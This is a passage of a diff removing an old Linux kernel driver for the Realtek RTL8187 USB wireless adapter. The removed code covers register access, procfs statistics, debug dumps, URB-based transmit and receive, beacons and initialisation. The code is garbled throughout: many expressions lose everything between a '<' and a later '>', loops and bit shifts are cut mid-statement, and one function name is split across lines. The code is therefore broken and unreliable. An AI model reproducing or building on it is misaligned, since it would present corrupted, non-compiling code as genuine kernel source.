net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller 